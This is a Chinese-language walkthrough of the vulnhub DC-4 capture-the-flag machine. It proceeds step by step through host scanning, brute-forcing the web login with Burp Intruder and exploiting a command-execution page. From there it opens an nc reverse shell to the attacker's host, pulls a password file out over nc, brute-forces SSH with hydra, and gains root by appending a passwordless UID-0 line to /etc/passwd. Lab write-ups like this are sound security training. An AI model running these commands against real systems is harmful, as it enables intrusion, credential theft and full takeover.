当前位置: 代码迷 >> 综合 >> vulnhub DC4 靶场练习
  详细解决方案

vulnhub DC4 靶场练习

热度:38   发布时间:2023-12-21 00:00:05.0

前言

这次练习的靶机是vulnhub平台下的DC系列靶机第四台,下载地址为https://www.vulnhub.com/entry/dc-4,313/。该靶机的难度系数为简单,拿下该靶机的关键就是需要收集信息,最终目的是获取root权限。

虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-4靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

在这里插入图片描述

然后需要溢出CD/DVD选项,这个启动时候会自动检测并连接CD/DVD,如果连接不上就会导致启动不了虚拟机。当然如果不移除该设备的话,去掉勾选启动时连接也是可以的。

在这里插入图片描述

收集信息

nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

在这里插入图片描述

通过nmap扫描获取到靶机的IP地址为 192.168.119.162。下面就对靶机更加详细的扫描。

nmap -A -sV -p- --min-parallelism 200 192.168.119.162

-A 代表综合性扫描,能收集很多重要的信息

-sV 代表扫描主要的服务信息

-p- 参数p是指定端口,后面的-代表所有端口。

在这里插入图片描述

通过nmap的扫描,我们知道了靶机开放了80端口与22端口,接下来就打开网站看看网站内容。依旧是特别关注有数据交互的地方,这些地方很有可能出现漏洞。

在这里插入图片描述

打开后发现就只有一个登陆页面,用目录扫描软件dirsearch扫描一下,看看有没有其他目录。

dirsearch -u 192.168.119.162

在这里插入图片描述

有一个名为 command.php的页面,看这个名字应该是与命令相关。但是访问时直接跳转到首页了,所以需要登陆后才能访问,然后也没有发现其他有价值的页面。

获取后台密码

这个网站也不是用cms搭建起来的,所以无法从searchsploit中寻找方法。暂时也没有其他可以利用的漏洞就可以尝试一下暴力破解。

首先打开burp suite内置浏览器,要注意的是只有比较新的版本才有内置浏览器,老版本的请开浏览器代理。

在这里插入图片描述

然后用内置浏览器打开需要破解的网页,输入用户名和密码,先别接着点击提交,在此之前需要打开burp suite的监听功能。

在这里插入图片描述

如下图所示,按钮上的文字为 intercept is on表示已经开始监听数据了。

在这里插入图片描述

在浏览器中提交数据后就会自动跳转到如下图所示的页面。在这个页面中右击鼠标,然后点击 send to intruder按钮,然后intruder按钮会变成黄色。

在这里插入图片描述

依次点击 intruder-> positions-> clear$-> 双击底部password后面的字符-> Add$,然后你就会发现这个字符两边多了 $的符号,这说明接下来破解过程中,这个字符串将会替换成密码字典中的字符串。

在这里插入图片描述

然后一次点击 payloads-. Load,然后选择一遍好字典,john中的默认字典也是可以的。

在这里插入图片描述

然后点击 Resource Pool,在这个选项卡是可以改变扫描线程大小的,把线程调高一点破解速度更快,但是在实战中线程数比较高很容易被防火墙阻断。

在这里插入图片描述

扫描完成后点击 length按钮,让所有数据包按大小排序,找到数据包大小明显不同于其他数据包的一行,这说明这一行的密码是正确密码。在这里插入图片描述

现在已经获取到账号admin和密码 happy,可以登陆后台了。但是登陆前需要关掉burpsuite的数据监听,如下图所示按钮字样变成 intercept is off则说明关掉了监听。

在这里插入图片描述

命令执行漏洞

登陆后台后,看到一个连接,点击并打开这个页面,发现确实是一个命令执行的页面。

在这里插入图片描述

通过burpsuite抓取这个数据包并修改一下命令,尝试一下修改的命令能否成功。将原来的 ls+-l修改为 id命令。

在这里插入图片描述

修改后点击 forward按钮来发送篡改后的数据包,在网页中发现篡改后的命令执行成功了!!!

在这里插入图片描述

建立shell

在前面已经用nmap扫描出该系统为linux系统,所以这里可以用linux命令来建立反弹shell。首先在本地监听一个端口。

rlwrap nc -lvnp 4443

rlwrap是为了让shell更加智能化。

然后用同样的方法篡改命令,将命令改为:

nc -e /bin/bash 192.168.119.130 4443

IP是本地kali的IP地址

4443 是本地监听的端口

如下图所示,出现红框中字符说明建立shell成功。

在这里插入图片描述

将shell升级为交互式shell,执行如下命令。

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

寻找敏感文件

还是像往常一样尝试一下能不能suid提权,最终没要找到提权文件和命令。searchsploit也没有搜索到有效的提权漏洞。跑到家里 /home看看有什么重要的文件没有。

发现了三个账号的家 charlesjimsam

最终在jim的家中发现了一个老密码的文件,里面的密码很多,可以尝试用来爆破一下ssh。

在这里插入图片描述

接下来我们就通过nc把 old-passwords.bak下载下来,准备用于ssh的暴力破解。首先在本地用nc监听一个端口 4445,并把监听到的数据写入 pass.txt。注意:监听端口随意,只需要靶机与本地主机使用端口相同即可。

nc -lvnp 4445 > pass.txt

在这里插入图片描述

然后在靶机中用nc将 old-passwords.bak传都本地主机。

nc 192.168.119.130 4445 < old-passwords.bak

看到如下图中红框中字符说明已经收到了数据,然后按 ctrl+c结束监听即可,然后就会发现本地的多了一个文件 pass.txt,里面的内容与 odl-passwords.bak的内容完全相同。

在这里插入图片描述

爆破ssh

将三个账号保存在一个文件 user.txt 中,每行一个账号,然后使用hydra进行ssh的暴力破解,执行如下命令:

hydra -L user.txt -P pass.txt ssh://192.168.119.162 -vV -t 64 -o result.txt

-L 指定用户名文件

-P 执行密码字典文件

ssh:// 代表使用ssh协议

-vV 代表显示破解详情,-v和-V作用一样。

-t 代表线程数,最高为64线程。

-o 代表将破解结果输出到指定文件内。

hydra更详细的用法可以参考:https://blog.csdn.net/qq_17204441/article/details/90436483

在这里插入图片描述

扫描结束后查看结果:

cat result.txt

在这里插入图片描述

发现破解了一个账号 jim,密码为:jibril04

提权

通过ssh连接到靶机,执行如下命令:

ssh jim@192.168.119.162 

在这里插入图片描述

发现当前目录有一封邮件 mbox,打开查看一下发现 This is a test.,这不是什么重要信息。

在这里插入图片描述

接下来到 /var/mail看看还有没有其他邮件。

cd /var/mail
cat jim

这封邮件来得非常妙,是Charles写给jim的。因为charles要出去度假了,所以老板叫charles把自己的密码^xHhA&hvim0y给jim。所以直接用邮箱传递密码是非常不安全的。

在这里插入图片描述

转到charles账号再次尝试一下suid提权。

su charles
sodu -l

在这里插入图片描述

可以通过超级权限执行teehee,查询后发这条命令有文件追加的功能。/etc/passwd中保存着所有用户的信息,所以我们可以利用teehee在passwd中追加一个具有超级管理员权限的账号。

首先我们来了解一下/etc/passwd内容的格式,以root为例:

root:x:0:0:root:/root:/bin/bash

字段1: 用户名。

字段2:密码占位符,x代表有密码。

字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。

字段4:用户的gid,也就是所属用户组的id。

字段5:用户信息(弃用)。

字段6:用户家目录。

字段7:用户登陆系统后使用的shell。

所以我们将 rpsate::0:0:::/bin/bash追加到 /etc/passwd即可增加一个具有root权限的账号。根据查询,使用teehee的命令格式如下:

echo "rpsate::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

在这里插入图片描述

转到rpsate账号,并读取flag。

su rpsate
cd /root
cat flag.txt

在这里插入图片描述

参考文献

[1] https://blog.csdn.net/wangyangkobe/article/details/6595143,linux下的source命令

[2] https://blog.csdn.net/qq_17204441/article/details/90436483,Hydra爆破神器使用

[3] https://blog.csdn.net/weixin_44288604/article/details/108018008,vulnhub之DC4靶机